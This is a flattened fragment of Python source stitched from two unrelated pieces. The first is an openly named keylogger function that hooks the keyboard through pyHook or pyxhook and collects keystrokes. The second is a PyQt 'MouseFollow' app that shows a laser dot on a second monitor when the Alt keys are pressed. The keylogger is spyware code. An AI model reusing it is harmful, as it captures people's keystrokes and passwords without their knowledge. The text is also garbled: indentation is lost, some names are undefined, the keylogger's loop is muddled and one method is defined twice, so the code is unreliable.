def keylogger(size): if os.name == "nt": import win32api import pythoncom from pyHook import HookManager else: p = subprocess.Popen(["echo $DISPLAY"], shell=True, stdout=subprocess.PIPE) output, err = p.communicate() if len(str(output).strip()) == 0: return "Display not found" else: import pyxhook from pyxhook import HookManager global keysPressed hm = HookManager() hm.KeyDown = onkeyboardevent hm.HookKeyboard() if os.name != "nt": hm.start() while len(keysPressed) < int(size): if os.name == "nt": pythoncom.PumpWaitingMessages() else: keys = keysPressed keysPressed = ">" if os.name == "nt": hm.UnhookKeyboard() else: hm.cancel() return keys
class Master(QtWidgets.QDialog): def __init__(self, parent=None): super(Master, self).__init__(parent) self.screens = app.screens() self.setupUI() def save_ini(self): vals = [ 'target_monitor: ' + str(self.target_monitor), 'preview_left: ' + str(self.preview_left), 'preview_right: ' + str(self.preview_right), 'preview_top: ' + str(self.preview_top), 'preview_bottom: ' + str(self.preview_bottom) ] with open('settings.ini', 'w') as f: f.write('\n'.join(vals)) def load_ini(self): try: with open('settings.ini', 'r') as f: text = f.read() lines = text.split('\n') self.settings = {} for line in lines: key = line.split(':')[0] val = line.split(':')[-1].strip() self.settings[key] = val except FileNotFoundError: self.settings = { "target_monitor": self.screens[0].name(), "preview_left": "60", "preview_right": "1258", "preview_top": "149", "preview_bottom": "823" } if len(self.screens) > 1: self.settings['target_monitor'] = self.screens[1].name() self.target_monitor = self.settings['target_monitor'] self.preview_left = int(self.settings['preview_left']) self.preview_right = int(self.settings['preview_right']) self.preview_top = int(self.settings['preview_top']) self.preview_bottom = int(self.settings['preview_bottom']) def setupUI(self): self.load_ini() ba = QtCore.QByteArray.fromBase64(dot_data) pixmap = QtGui.QPixmap() pixmap.loadFromData(ba, 'PNG') icon = QtGui.QIcon() icon.addPixmap(pixmap) self.setWindowIcon(icon) self.setWindowTitle('MouseFollow') self.setWindowFlags(QtCore.Qt.WindowMinimizeButtonHint | QtCore.Qt.WindowCloseButtonHint) self.v_layout = QtWidgets.QVBoxLayout(self) self.screen_layout = QtWidgets.QHBoxLayout() self.target_monitor_label = QtWidgets.QLabel("Target Monitor:") self.target_monitor_cb = QtWidgets.QComboBox() found = False for i in range(len(self.screens)): self.target_monitor_cb.addItem(self.screens[i].name()) if self.screens[i].name() == self.target_monitor: self.target_monitor_cb.setCurrentIndex(i) self.target_monitor_cb.currentIndexChanged.connect(self.set_target_monitor) self.screen_layout.addWidget(self.target_monitor_label) self.screen_layout.addWidget(self.target_monitor_cb) self.v_layout.addLayout(self.screen_layout) self.draw_label = QtWidgets.QLabel("Draw: Right Alt") self.v_layout.addWidget(self.draw_label) self.laser_label = QtWidgets.QLabel("Laser: Left Alt") self.v_layout.addWidget(self.laser_label) self.red_dot = RedDot() self.draw_box = DrawBox() self.draw_box.mouseup.connect(self.save_preview_pos) self.hookman = HookManager() self.hookman.KeyDown = self.keydown self.hookman.KeyUp = self.keyup self.hookman.HookKeyboard() if os.name == 'posix': self.hookman.start() self.thread = Mover() self.thread.signal.connect(self.move_dot) self.thread.start() self.resize(300, 100) self.show() def set_target_monitor(self): self.target_monitor = self.target_monitor_cb.currentText() self.save_ini() def save_preview_pos(self): drawbox_geometry = self.draw_box.geometry() self.preview_left = drawbox_geometry.left() + self.draw_box.mouse_down_loc[0] self.preview_top = drawbox_geometry.top() + self.draw_box.mouse_down_loc[1] self.preview_right = drawbox_geometry.left() + self.draw_box.mouse_up_loc[0] self.preview_bottom = drawbox_geometry.top() + self.draw_box.mouse_up_loc[1] if self.preview_left > self.preview_right: self.preview_right, self.preview_left = self.preview_left, self.preview_right if self.preview_top > self.preview_bottom: self.preview_top, self.preview_bottom = self.preview_bottom, self.preview_top self.save_ini() def move_dot(self): if self.red_dot.isVisible(): laser_width = self.red_dot.frameGeometry().width() laser_height = self.red_dot.frameGeometry().height() pos = QtGui.QCursor().pos() x = pos.x() y = pos.y() width = self.preview_right - self.preview_left height = self.preview_bottom - self.preview_top if width == 0: self.preview_left = 0 self.preview_right = 1920 width = self.preview_right - self.preview_left if height == 0: self.preview_top = 0 self.preview_bottom = 1080 height = self.preview_bottom - self.preview_top x_fac = (x - self.preview_left) / width y_fac = (y - self.preview_top) / height for screen in self.screens: if screen.name() == self.target_monitor_cb.currentText(): target_screen = screen break geometry = target_screen.geometry() new_x = geometry.left() + (geometry.width() * x_fac) - (laser_width / 2) new_y = geometry.top() + (geometry.height() * y_fac) - (laser_height / 2) if new_x < geometry.left(): new_x = geometry.left() elif new_x > geometry.left() + geometry.width() - laser_width: new_x = geometry.left() + geometry.width() - laser_width if new_y < geometry.top(): new_y = geometry.top() elif new_y > geometry.top() + geometry.height() - laser_width: new_y = geometry.top() + geometry.height() - laser_width self.red_dot.move(new_x, new_y) def closeEvent(self, event): self.thread.terminate() self.hookman.cancel() def keydown(self, event): if event.Key == 'Lmenu' or event.Key == 'Alt_L': self.red_dot.show() elif event.Key == 'Rmenu' or event.Key == 'Alt_R': pos = QtGui.QCursor().pos() x = pos.x() y = pos.y() for screen in self.screens: geometry = screen.geometry() left = geometry.left() top = geometry.top() width = geometry.width() height = geometry.height() if x >= left and x < left + width and y >= top and y < top + height: source_screen = screen break self.draw_box.setGeometry(source_screen.geometry()) self.draw_box.show() return 1 def keyup(self, event): if event.Key == 'Lmenu' or event.Key == 'Alt_L': self.red_dot.hide() elif event.Key == 'Rmenu' or event.Key == 'Alt_R': self.draw_box.hide() return 1 def closeEvent(self, event): pass